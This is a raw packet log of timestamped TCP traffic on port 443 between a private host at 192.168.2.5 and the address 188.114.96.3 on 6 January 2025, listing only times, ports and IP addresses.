Jan 6, 2025 13:56:36.012666941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012737989 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012742996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012794018 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012969971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012984991 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.013053894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.013053894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.013058901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.013108969 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.013269901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.013286114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.013323069 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.013326883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.013359070 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.013367891 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024593115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024607897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024652004 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024658918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024693966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024703979 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024703979 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024713993 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024724960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.024740934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024768114 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.024800062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.049139023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.049160957 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.049232006 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.049241066 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.049302101 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.103851080 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.103877068 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.103950977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.103959084 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.103972912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104002953 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104002953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104012012 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104043961 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104095936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104095936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104101896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104142904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104406118 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104419947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104465961 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104470015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104515076 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104515076 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104633093 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104645967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104701996 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104707003 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104716063 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104758024 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104922056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104933977 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.104973078 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.104978085 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.105019093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.105019093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.116069078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116082907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116170883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.116175890 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116224051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.116305113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116317987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116378069 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.116381884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.116453886 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.140774965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.140788078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.141001940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.141007900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.141063929 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195395947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195415020 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195523024 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195537090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195589066 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195741892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195755005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195802927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195808887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.195847034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195847034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.195997953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196012020 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196069002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196074009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196144104 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196325064 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196337938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196384907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196389914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196429014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196520090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196533918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196580887 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196584940 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.196614981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.196650982 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.200077057 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.207662106 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207674980 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207746029 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.207755089 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207794905 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.207855940 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207870007 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207922935 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.207927942 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.207967997 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.209178925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.232464075 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.232485056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.232661963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.232667923 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.232815981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.286969900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.286986113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287096024 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287102938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287156105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287271023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287283897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287331104 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287336111 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287390947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287626028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287641048 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287694931 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287699938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287746906 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.287946939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.287961960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.288014889 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.288019896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.288079023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.288170099 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.288183928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.288230896 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.288235903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.288275957 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.299216032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299231052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299429893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.299436092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299494028 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.299516916 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299529076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299581051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.299586058 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.299631119 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.324070930 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.324088097 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.324130058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.324135065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.324182987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.324182987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.378730059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.378746986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.378813982 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.378823042 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.378865957 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.378977060 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.378989935 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379046917 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379050970 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379106045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379324913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379337072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379404068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379409075 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379447937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379556894 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379569054 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379614115 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379618883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379673958 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379815102 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379827976 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379864931 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379870892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.379895926 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.379923105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.390849113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.390862942 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.390930891 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.390935898 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.391110897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.391135931 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.391181946 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.391191006 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.391207933 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.391244888 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.415745974 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.415760040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.415833950 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.415853977 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.415864944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.415904999 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470318079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470335960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470410109 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470417023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470551014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470593929 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470607996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470678091 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470685005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470729113 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470887899 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470901966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470956087 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.470959902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.470999002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.471211910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471230030 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471301079 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.471304893 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471343994 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.471455097 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471468925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471545935 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.471550941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.471606970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.482712984 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.482721090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.482763052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.482794046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.482914925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.482914925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.482923031 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.507411003 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.507424116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.507509947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.507518053 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562192917 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562216997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562292099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.562292099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.562304974 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562632084 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562644958 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562711000 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.562716961 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562730074 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562748909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562782049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.562796116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.562814951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.563033104 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.563049078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.563097954 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.563117027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.563117027 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.563124895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.563146114 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.563160896 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.563179016 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.573997021 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574016094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574099064 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.574103117 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574145079 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.574294090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574307919 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574356079 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.574359894 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.574403048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.599016905 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.599034071 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.599103928 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.599111080 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.599154949 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.611033916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.653759956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.653776884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.653825045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.653837919 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.653852940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.653896093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654051065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654067039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654134035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654139042 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654171944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654355049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654370070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654416084 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654421091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654481888 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654620886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654640913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654684067 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654694080 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654721022 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654736996 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654850960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654865980 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654902935 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654906988 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.654933929 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.654958963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.655961990 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.665702105 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.665716887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.665808916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.665813923 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.665858984 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.665972948 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.665987015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.666045904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.666052103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.666112900 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.669390917 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.690901041 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.690918922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.691133976 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.691139936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.691207886 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.745799065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745819092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745871067 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745906115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745914936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.745925903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745954037 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.745954037 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.745970011 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.745982885 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.746025085 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.746031046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.746064901 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.746232033 CET	443	49986	188.114.96.3	192.168.2.5
